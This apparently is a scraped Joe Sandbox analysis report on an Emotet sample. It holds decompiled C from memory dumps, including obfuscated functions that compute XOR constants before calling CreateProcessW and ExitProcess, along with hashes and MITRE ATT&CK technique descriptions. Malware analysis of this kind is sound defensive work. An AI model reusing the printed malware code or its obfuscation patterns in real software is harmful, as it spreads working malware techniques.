										_t138 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x20))))(_v36,  *_v32 & 0x0000ffff,  *((intOrPtr*)(_a4 + 0x28)));
										_t202 = _t202 + 0xc;
										 *_v24 = _t138;
									}
									if( *_v24 != 0) {
										_v32 =  &(_v32[1]);
										_v24 = _v24 + 4;
										continue;
									} else {
										_v16 = 0;
										break;
									}
								}
								if(_v16 != 0) {
									_v8 = _v8 + 0x14;
									continue;
								}
								 *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x24))))(_v36,  *((intOrPtr*)(_a4 + 0x28)));
								SetLastError(0x7f);
								break;
							}
							 *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x24))))(_v36,  *((intOrPtr*)(_a4 + 0x28)));
							SetLastError(0xe);
							_v16 = 0;
							break;
						}
						SetLastError(0x7e);
						_v16 = 0;
						break;
					}
					return _v16;
				}
				return 1;
			}

APIs

IsBadReadPtr.KERNEL32(00000000,00000014,?,?,?,?,10002C4E,00000000,00000000), ref: 100026C5
SetLastError.KERNEL32(0000007E), ref: 10002707

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: ErrorLastRead
String ID:
API String ID: 4100373531-0
Opcode ID: c2a98b38cbef77d555c79c56aa9516de66013d98deec03bde9f9d281594a25e0
Instruction ID: 5b18a635dcf056017fd1ee77a603d3a0bb8baed770e763f1765233b10108ec1d
Opcode Fuzzy Hash: c2a98b38cbef77d555c79c56aa9516de66013d98deec03bde9f9d281594a25e0
Instruction Fuzzy Hash: 7381BAB4A05209DFDB04CF94C880A9EB7B1FF88354F248159E819AB355D735EE82CF94

Uniqueness

Uniqueness Score: -1.00%

Function 1001431B, Relevance: 5.0, APIs: 4, Instructions: 37
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 82%

			E1001431B(void* __ebx, void* __esi, void* __ebp, signed int _a4) {
				void* __edi;
				struct _CRITICAL_SECTION* _t4;
				void* _t7;
				void* _t10;
				signed int _t11;
				void* _t14;
				intOrPtr* _t15;
				void* _t17;

				_t17 = __ebp;
				_t14 = __esi;
				_t7 = __ebx;
				_t11 = _a4;
				_t20 = _t11 - 0x11;
				if(_t11 >= 0x11) {
					_t4 = E1000A0DB(__ebx, _t10, _t11, __esi, _t20);
				}
				if( *0x1005aac0 == 0) {
					_t4 = E100142F7();
				}
				_push(_t7);
				_push(_t17);
				_push(_t14);
				_t15 = 0x1005ac78 + _t11 * 4;
				if( *_t15 == 0) {
					EnterCriticalSection(0x1005ac60);
					if( *_t15 == 0) {
						_t4 = 0x1005aac8 + _t11 * 0x18;
						InitializeCriticalSection(_t4);
						 *_t15 =  *_t15 + 1;
					}
					LeaveCriticalSection(0x1005ac60);
				}
				EnterCriticalSection(0x1005aac8 + _t11 * 0x18);
				return _t4;
			}

APIs

EnterCriticalSection.KERNEL32(1005AC60,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10014357
InitializeCriticalSection.KERNEL32(?,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10014366
LeaveCriticalSection.KERNEL32(1005AC60,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 10014373
EnterCriticalSection.KERNEL32(?,?,?,?,?,10013A10,00000010,00000008,1000D61A,1000D5BD,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB), ref: 1001437F

Part of subcall function 1000A0DB: __CxxThrowException@8.LIBCMT ref: 1000A0EF
Part of subcall function 1000A0DB: __EH_prolog3.LIBCMT ref: 1000A0FC

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: CriticalSection$Enter$Exception@8H_prolog3InitializeLeaveThrow
String ID:
API String ID: 2895727460-0
Opcode ID: fc52205701aaf5afb0ce0b222181c69e48b6197276059f190c1bff8ca6cb0e4a
Instruction ID: b2ae72b8ab0fae698251e24a42d2174316ff56aad592cf34d272a36c1b8e20b9
Opcode Fuzzy Hash: fc52205701aaf5afb0ce0b222181c69e48b6197276059f190c1bff8ca6cb0e4a
Instruction Fuzzy Hash: 05F090739002169BE700DF59CC89A1ABBA9FBC32A5F93011AF14096121DB3199C5CA61

Uniqueness

Uniqueness Score: -1.00%

Function 1001398E, Relevance: 5.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E1001398E(long* __ecx, signed int _a4) {
				void* _t9;
				struct _CRITICAL_SECTION* _t12;
				signed int _t14;
				long* _t16;

				_t16 = __ecx;
				_t12 = __ecx + 0x1c;
				EnterCriticalSection(_t12);
				_t14 = _a4;
				if(_t14 <= 0 || _t14 >= _t16[3]) {
					L5:
					LeaveCriticalSection(_t12);
					return 0;
				} else {
					_t9 = TlsGetValue( *_t16);
					if(_t9 == 0 || _t14 >=  *((intOrPtr*)(_t9 + 8))) {
						goto L5;
					} else {
						LeaveCriticalSection(_t12);
						return  *((intOrPtr*)( *((intOrPtr*)(_t9 + 0xc)) + _t14 * 4));
					}
				}
			}

0x10013990
0x10013993
0x10013997
0x1001399d
0x100139a3
0x100139cc
0x100139cd
0x00000000
0x100139aa
0x100139ac
0x100139b4
0x00000000
0x100139bb
0x100139c2
0x00000000
0x100139c8
0x100139b4

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,10013DFF,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441), ref: 10013997
TlsGetValue.KERNEL32(?,?,?,?,10013DFF,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441), ref: 100139AC
LeaveCriticalSection.KERNEL32(?,?,?,?,10013DFF,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441), ref: 100139C2
LeaveCriticalSection.KERNEL32(?,?,?,?,10013DFF,?,00000004,1000D5FB,1000A0F5,1000B1E7,?,1000B878,00000004,1000ADCB,00000004,10001441), ref: 100139CD

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: CriticalSection$Leave$EnterValue
String ID:
API String ID: 3969253408-0
Opcode ID: 8c266227b3abe2b759591ba9b775a43eab1fad3fbd471f069813da335311fd75
Instruction ID: ae8276b6876f5357c50f650584214137971e28de593e3cdb7c29343fae997712
Opcode Fuzzy Hash: 8c266227b3abe2b759591ba9b775a43eab1fad3fbd471f069813da335311fd75
Instruction Fuzzy Hash: 27F012762006529FD710DF65CC8C90B77EDEF84291327D856E84697152D770F856CF50

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 5032 Parent PID: 6076 rundll32.exeCOMMON

Execution Graph

Execution Coverage:	3.6%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	1024
Total number of Limit Nodes:	6

Executed Functions

Function 04B52C24, Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 71
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 51%

			E04B52C24(WCHAR* __ecx, void* __edx, intOrPtr _a12, intOrPtr _a20, int _a24, intOrPtr _a28, struct _STARTUPINFOW* _a32, intOrPtr _a40, intOrPtr _a44, WCHAR* _a52, struct _PROCESS_INFORMATION* _a56) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				struct _SECURITY_ATTRIBUTES* _v24;
				struct _SECURITY_ATTRIBUTES* _v28;
				intOrPtr _v32;
				void* _t49;
				int _t56;
				WCHAR* _t60;

				_push(_a56);
				_t60 = __ecx;
				_push(_a52);
				_push(0);
				_push(_a44);
				_push(_a40);
				_push(0);
				_push(_a32);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(0);
				_push(_a12);
				_push(0);
				_push(0);
				_push(__ecx);
				E04B4FE29(_t49);
				_v32 = 0x534833;
				_v28 = 0;
				_v24 = 0;
				_v8 = 0x70adbe;
				_v8 = _v8 >> 5;
				_v8 = _v8 << 0xa;
				_v8 = _v8 | 0x1d11c356;
				_v8 = _v8 ^ 0x1f145645;
				_v20 = 0xecea8a;
				_v20 = _v20 | 0x5baa72b8;
				_v20 = _v20 ^ 0x5be1d11d;
				_v16 = 0x76217f;
				_v16 = _v16 >> 0x10;
				_v16 = _v16 | 0xe98780dc;
				_v16 = _v16 ^ 0xe98c1e91;
				_v12 = 0xeb975;
				_v12 = _v12 ^ 0xd8138edb;
				_v12 = _v12 | 0x0b4171d5;
				_v12 = _v12 ^ 0xdb5d9300;
				E04B3EB52(__ecx, __ecx, 0xb7160725, 0x75, 0xa2289af1);
				_t56 = CreateProcessW(_a52, _t60, 0, 0, _a24, 0, 0, 0, _a32, _a56); // executed
				return _t56;
			}

0x04b52c2c
0x04b52c31
0x04b52c33
0x04b52c36
0x04b52c37
0x04b52c3a
0x04b52c3d
0x04b52c3e
0x04b52c41
0x04b52c44
0x04b52c47
0x04b52c4a
0x04b52c4b
0x04b52c4e
0x04b52c4f
0x04b52c51
0x04b52c52
0x04b52c57
0x04b52c61
0x04b52c64
0x04b52c67
0x04b52c6e
0x04b52c72
0x04b52c76
0x04b52c7d
0x04b52c84
0x04b52c8b
0x04b52c92
0x04b52c99
0x04b52ca0
0x04b52ca4
0x04b52cab
0x04b52cb2
0x04b52cb9
0x04b52cc0
0x04b52cc7
0x04b52ce8
0x04b52d02
0x04b52d09

APIs

CreateProcessW.KERNELBASE(?,2E751909,00000000,00000000,00534833,00000000,00000000,00000000,?,?), ref: 04B52D02

Strings

3HS, xrefs: 04B52C57

Memory Dump Source

Source File: 0000000F.00000002.299662672.0000000004B31000.00000020.00000001.sdmp, Offset: 04B30000, based on PE: true

Associated: 0000000F.00000002.299657043.0000000004B30000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.299688906.0000000004B56000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b30000_rundll32.jbxd

Yara matches

Similarity

API ID: CreateProcess
String ID: 3HS
API String ID: 963392458-330188696
Opcode ID: b0049691a906c617faab48a03f019d00495406e067b30e8a3afe4c22a13f3ee0
Instruction ID: 316d9a6cb61646719c535dc277538119bbac8d7b6d534aee4a41a1bf137d06ba
Opcode Fuzzy Hash: b0049691a906c617faab48a03f019d00495406e067b30e8a3afe4c22a13f3ee0
Instruction Fuzzy Hash: 2721F372800248BBCF159F96DC0ACDFBFB9EF85704F108189F915A2220D3B59A24DFA0

Uniqueness

Uniqueness Score: -1.00%

Function 04B4D11A, Relevance: 1.5, APIs: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E04B4D11A() {
				unsigned int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				void* _t39;

				_v24 = _v24 & 0x00000000;
				_v36 = 0x78f5c7;
				_v32 = 0xa12bb9;
				_v28 = 0x4eca09;
				_v8 = 0x8b256f;
				_v8 = _v8 << 0xb;
				_v8 = _v8 ^ 0x4a7d0011;
				_v8 = _v8 >> 9;
				_v8 = _v8 ^ 0x00073d60;
				_v20 = 0x1e549a;
				_v20 = _v20 + 0xffffad33;
				_v20 = _v20 ^ 0x00134b4f;
				_v16 = 0x8dd9dd;
				_v16 = _v16 << 3;
				_v16 = _v16 ^ 0x0460bc3c;
				_v12 = 0x358059;
				_v12 = _v12 + 0xb97b;
				_v12 = _v12 ^ 0x003502df;
				E04B3EB52(_t39, _t39, 0x83891850, 0x1c, 0xa2289af1);
				ExitProcess(0);
			}

0x04b4d120
0x04b4d124
0x04b4d12b
0x04b4d132
0x04b4d139
0x04b4d140
0x04b4d144
0x04b4d14b
0x04b4d14f
0x04b4d156
0x04b4d15d
0x04b4d164
0x04b4d16b
0x04b4d172
0x04b4d176
0x04b4d17d
0x04b4d184
0x04b4d18b
0x04b4d1ac
0x04b4d1b6

APIs

ExitProcess.KERNEL32(00000000), ref: 04B4D1B6

Memory Dump Source

Source File: 0000000F.00000002.299662672.0000000004B31000.00000020.00000001.sdmp, Offset: 04B30000, based on PE: true

Associated: 0000000F.00000002.299657043.0000000004B30000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.299688906.0000000004B56000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b30000_rundll32.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 67c658d72cc930f45ab36e019061580956781c758de54a32820380ba4476f13f
Instruction ID: 604179753d78674af1b2b5d2b6f06c8b4a215cf689e87549784d143810b0c8df
Opcode Fuzzy Hash: 67c658d72cc930f45ab36e019061580956781c758de54a32820380ba4476f13f
Instruction Fuzzy Hash: DC1112B1C4030CEBDB44DFE5D94A6DEFBB0EB00709F108588D521B6240E3B89B489F90

Uniqueness

Uniqueness Score: -1.00%

Function 04B5061D, Relevance: 1.3, APIs: 1, Instructions: 52
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 79%

			E04B5061D(void* __ecx, WCHAR* __edx, WCHAR* _a4, intOrPtr _a8, intOrPtr _a12) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				intOrPtr _v28;
				void* _t44;
				int _t53;
				WCHAR* _t56;

				_push(_a12);
				_t56 = __edx;
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E04B4FE29(_t44);
				_v24 = _v24 & 0x00000000;
				_v28 = 0xcd60b7;
				_v12 = 0x7257ab;
				_v12 = _v12 << 0xd;
				_v12 = _v12 + 0x8f69;
				_v12 = _v12 * 0x4c;
				_v12 = _v12 ^ 0x410f7a13;
				_v8 = 0x7b4696;
				_v8 = _v8 + 0xffff4950;
				_v8 = _v8 | 0x2a0f624b;
				_v8 = _v8 * 0x3a;
				_v8 = _v8 ^ 0xa0f3ec54;
				_v20 = 0x8a2161;
				_v20 = _v20 + 0xffff45ea;
				_v20 = _v20 ^ 0x1b6c7fa6;
				_v20 = _v20 ^ 0x1be8dede;
				_v16 = 0xdcc12a;
				_v16 = _v16 + 0xb9f4;
				_v16 = _v16 + 0xffffcfef;
				_v16 = _v16 ^ 0x00d9de04;
				E04B3EB52(__ecx, __ecx, 0xb7861dce, 0x3e, 0xa2289af1);
				_t53 = lstrcmpiW(_a4, _t56); // executed
				return _t53;
			}

0x04b50624
0x04b50627
0x04b50629
0x04b5062c
0x04b5062f
0x04b50630
0x04b50631
0x04b50636
0x04b5063d
0x04b50644
0x04b5064b
0x04b5064f
0x04b50667
0x04b5066a
0x04b50671
0x04b50678
0x04b5067f
0x04b5068b
0x04b5068e
0x04b50695
0x04b5069c
0x04b506a3
0x04b506aa
0x04b506b1
0x04b506b8
0x04b506bf
0x04b506c6
0x04b506d9
0x04b506e5
0x04b506eb

APIs

lstrcmpiW.KERNELBASE(410F7A13,00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 04B506E5

Memory Dump Source

Source File: 0000000F.00000002.299662672.0000000004B31000.00000020.00000001.sdmp, Offset: 04B30000, based on PE: true

Associated: 0000000F.00000002.299657043.0000000004B30000.00000004.00000001.sdmp Download File
Associated: 0000000F.00000002.299688906.0000000004B56000.00000004.00000001.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_4b30000_rundll32.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID:
API String ID: 1586166983-0
Opcode ID: ef59b29d425997034e4fed527bf505b0074c5b4e8b9fa1c114afddacbc91d9b0
Instruction ID: 5f8c7c9dfbe2af4c2af49c1f997f95b39225c11755afaaa4de354e7ff21f5b97
Opcode Fuzzy Hash: ef59b29d425997034e4fed527bf505b0074c5b4e8b9fa1c114afddacbc91d9b0
Instruction Fuzzy Hash: B72110B1C01309ABCF14DFA9D9899DEBFB5FB20354F108298E529A7251E3B49B04CF90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report 5o8zdV3GU3

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Emotet

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Exports

Version Infos

Possible Origin

Network Behavior

Snort IDS Alerts

Network Port Distribution

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre